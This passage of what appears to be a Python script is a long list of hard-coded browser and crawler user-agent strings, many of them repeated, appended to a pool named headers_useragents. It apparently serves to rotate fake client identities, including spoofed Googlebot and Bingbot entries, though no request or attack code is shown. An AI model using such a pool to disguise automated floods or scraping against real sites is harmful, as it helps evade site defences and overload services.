  1965.         headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25')
  1966.         headers_useragents.append('Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2')
  1967.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10')
  1968.         headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3')
  1969.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27')
  1970.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1971.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1972.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1973.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1974.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1975.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1976.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1977.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1978.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1979.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1980.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1981.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1982.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1983.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1984.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1985.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1986.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1987.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1988.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1989.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1990.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1991.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1992.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1993.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1994.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1995.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1996.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1997.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1998.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1999.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2000.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2001.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2002.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2003.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2004.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2005.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2006.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2007.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2008.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2009.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2010.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2011.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2012.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2013.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2014.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2015.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2016.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2017.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2018.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2019.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2020.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2021.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2022.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2023.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2024.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2025.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2026.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2027.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2028.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2029.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2030.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2031.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2032.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2033.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2034.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2035.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2036.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2037.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2038.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2039.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2040.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2041.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2042.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2043.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2044.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2045.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2046.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2047.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2048.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2049.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2050.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2051.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2052.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2053.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2054.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2055.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2056.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2057.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2058.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2059.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2060.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2061.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2062.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2063.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2064.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2065.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2066.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2067.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2068.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2069.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2070.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2071.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2072.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2073.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2074.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2075.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2076.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2077.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2078.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2079.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2080.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2081.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2082.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2083.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2084.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2085.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2086.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2087.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2088.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2089.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2090.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2091.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2092.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2093.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2094.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2095.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2096.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2097.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2098.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2099.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2100.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2101.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2102.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2103.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2104.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2105.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2106.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2107.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2108.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2109.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2110.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2111.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2112.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2113.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2114.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2115.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2116.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2117.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2118.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2119.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2120.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2121.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2122.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2123.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2124.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2125.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2126.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2127.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2128.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2129.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2130.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2131.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2132.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2133.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2134.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2135.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2136.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2137.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2138.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2139.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2140.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2141.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2142.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2143.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2144.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2145.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2146.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2147.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2148.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2149.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2150.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2151.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2152.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2153.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2154.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2155.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2156.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
